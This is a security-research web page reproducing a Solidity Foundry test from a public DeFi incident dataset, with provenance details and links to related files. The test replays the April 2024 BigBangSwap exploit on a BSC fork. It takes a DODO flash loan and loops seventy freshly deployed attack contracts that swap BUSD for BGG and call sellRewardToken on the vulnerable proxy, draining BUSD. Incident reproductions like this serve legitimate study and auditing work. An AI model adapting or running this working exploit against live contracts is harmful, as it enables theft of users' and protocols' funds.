Public reproduction file
src/test/2024-04/BigBangSwap_exp.sol
Public reproduction file for dataset entry BigBangSwap.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4// @KeyInfo - Total Lost : ~5k $BUSD5// Attacker : https://bscscan.com/address/0xc1b6f9898576d722dbf604aaa452cfea3a639c596// Attack Contract : https://bscscan.com/address/0xb22cf0e1672344f23f3126fbd35f856e961fd7807// Created Attack Contract: https://bscscan.com/address/0xAB3D2f2D70deb75ac948F8f8A7136d0f90487cfe8// Vulnerable Contract : https://bscscan.com/address/0xa45d4359246dbd523ab690bef01da06b074500309// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x94055664287a565d4867a97ba6d5d2e28c55d10846e3f83355ba84bd1b9280fc11// @Analysis12// https://x.com/DecurityHQ/status/177807503929372714315import "forge-std/Test.sol";16import "./../interface.sol";18interface IDPPAdvanced {19 function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external;20}22interface ITransparentUpgradeableProxy {23 function sellRewardToken(24 uint256 amuont25 ) external;26}28contract ContractTest is Test {29 IERC20 BGG = IERC20(0xaC4d2F229A3499F7E4E90A5932758A6829d69CFF);30 IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);31 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);32 IPancakePair BUSD_BGG_LpPool_Pancake = IPancakePair(0x218674fc1df16B5d4F0227A59a2796f13FEbC5f2);33 IPancakePair BUSD_BGG_LpPool_SwapRouter = IPancakePair(0x68E465A8E65521631f36404D9fB0A6FaD62A3B37);34 IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));35 IDPPAdvanced DODO = IDPPAdvanced(0x1B525b095b7353c5854Dbf6B0BE5Aa10F3818FaC);36 ITransparentUpgradeableProxy TransparentUpgradeableProxy =37 ITransparentUpgradeableProxy(0xa45D4359246DBD523Ab690Bef01Da06B07450030);39 AttackContract attackContract;41 function setUp() public {42 vm.createSelectFork("bsc", 37_740_105 - 1);43 vm.label(address(BGG), "BGG");44 vm.label(address(BUSD), "BUSD");45 vm.label(address(BUSD_BGG_LpPool_Pancake), "BUSD_BGG_LpPool_Pancake");46 vm.label(address(BUSD_BGG_LpPool_SwapRouter), "BUSD_BGG_LpPool_SwapRouter");47 vm.label(address(Router), "Router");48 vm.label(address(DODO), "DODO");49 }51 function testExploit() public {52 BUSD.transfer(address(0x000000000000000000000000000000000000dEaD), BUSD.balanceOf(address(this)));54 BUSD.approve(address(Router), type(uint256).max);55 BGG.approve(address(TransparentUpgradeableProxy), type(uint256).max);57 emit log_named_uint("Attacker BUSD balance before attack", BUSD.balanceOf(address(this)));58 DODO.flashLoan(50 * 1e18, 0, address(this), new bytes(1));59 emit log_named_uint("Attacker BUSD balance before attack", BUSD.balanceOf(address(this)));60 }62 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {63 for (uint256 i = 0; i < 70; i++) {64 attackContract = new AttackContract();65 BUSD.transfer(address(attackContract), 15 * 1e18);66 attackContract.Attack();67 attackContract.Claim();68 }69 BUSD.transfer(address(DODO), 50 * 1e18);70 }72 fallback() external payable {}73 receive() external payable {}74}76contract AttackContract {77 IERC20 BGG = IERC20(0xaC4d2F229A3499F7E4E90A5932758A6829d69CFF);78 IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);79 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);80 IPancakePair BUSD_BGG_LpPool_Pancake = IPancakePair(0x218674fc1df16B5d4F0227A59a2796f13FEbC5f2);81 IPancakePair BUSD_BGG_LpPool_SwapRouter = IPancakePair(0x68E465A8E65521631f36404D9fB0A6FaD62A3B37);82 IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));83 IDPPAdvanced DODO = IDPPAdvanced(0x1B525b095b7353c5854Dbf6B0BE5Aa10F3818FaC);84 ITransparentUpgradeableProxy TransparentUpgradeableProxy =85 ITransparentUpgradeableProxy(0xa45D4359246DBD523Ab690Bef01Da06B07450030);87 address owner;89 constructor() {90 owner = msg.sender;91 BUSD.approve(address(Router), type(uint256).max);92 BGG.approve(address(TransparentUpgradeableProxy), type(uint256).max);93 }95 modifier onlyOwner() {96 require(msg.sender == owner, "Only owner can perform this action");97 _;98 }100 function Attack() external onlyOwner {101 BUSDTOTOKEN();102 TransparentUpgradeableProxy.sellRewardToken(BGG.balanceOf(address(this)));103 }105 function Claim() external onlyOwner {106 BUSD.transfer(owner, BUSD.balanceOf(address(this)));107 }109 function BUSDTOTOKEN() internal {110 address[] memory path = new address[](2);111 path[0] = address(BUSD);112 path[1] = address(BGG);113 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(114 BUSD.balanceOf(address(this)), 0, path, address(this), block.timestamp115 );116 }117}Analysis
Dataset entry
Public Foundry test for “BigBangSwap” (2024-04-10). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-04/ATM_exp.solSame month in the dataset · 87 lines
- src/test/2024-04/BNBX_exp.solSame month in the dataset · 70 lines
- src/test/2024-04/ChaingeFinance_exp.solSame month in the dataset · 145 lines
- src/test/2024-04/FIL314_exp.solSame month in the dataset · 55 lines
- src/test/2024-04/GFA_exp.solSame month in the dataset · 63 lines
- src/test/2024-04/GROKD_exp.solSame month in the dataset · 172 lines
- src/test/2024-04/Hackathon_exp.solSame month in the dataset · 63 lines
- src/test/2024-04/HedgeyFinance_exp.solSame month in the dataset · 149 lines
- src/test/2024-04/HoppyFrogERC_exp.solSame month in the dataset · 57 lines
- src/test/2024-04/MARS_exp.solSame month in the dataset · 101 lines
- src/test/2024-04/NGFS_exp.solSame month in the dataset · 91 lines
- src/test/2024-04/OpenLeverage2_exp.solSame month in the dataset · 239 lines
- src/test/2024-04/PikeFinance_exp.solSame month in the dataset · 70 lines
- src/test/2024-04/Rico_exp.solSame month in the dataset · 119 lines
- src/test/2024-04/SATX_exp.solSame month in the dataset · 82 lines
- src/test/2024-04/SQUID_exp.solSame month in the dataset · 86 lines
- src/test/2024-04/SumerMoney_exp.solSame month in the dataset · 144 lines
- src/test/2024-04/UnverifiedContr_0x00C409_exp.solSame month in the dataset · 96 lines
- src/test/2024-04/UPS_exp.solSame month in the dataset · 75 lines
- src/test/2024-04/WSM_exp.solSame month in the dataset · 84 lines
- src/test/2024-04/XBridge_exp.solSame month in the dataset · 55 lines
- src/test/2024-04/YIEDL_exp.solSame month in the dataset · 97 lines
- src/test/2024-04/Yield_exp.solSame month in the dataset · 94 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xc1b6f9898576d722dbf604aaa452cfea3a639c59
- Attack Contract
0xb22cf0e1672344f23f3126fbd35f856e961fd780
- Vulnerable Contract
0xa45d4359246dbd523ab690bef01da06b07450030
- Attack Tx
0x94055664287a565d4867a97ba6d5d2e28c55d10846e3f83355ba84bd1b9280fc
- Explorer: https://bscscan.com/address/0xc1b6f9898576d722dbf604aaa452cfea3a639c59
- Explorer: https://bscscan.com/address/0xb22cf0e1672344f23f3126fbd35f856e961fd780
- Explorer: https://bscscan.com/address/0xAB3D2f2D70deb75ac948F8f8A7136d0f90487cfe
- Explorer: https://bscscan.com/address/0xa45d4359246dbd523ab690bef01da06b07450030
- Reference: https://x.com/DecurityHQ/status/1778075039293727143
File record
- Name
- BigBangSwap
- Path
- src/test/2024-04/BigBangSwap_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 1aeb9c36407764ff00f54e5fc141d4654e523e7a
- Language
- Solidity
- Size
- 118 lines
- Date
- 2024-04-10
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-04/BigBangSwap_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1aeb9c36407764ff00f54e5fc141d4654e523e7a, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.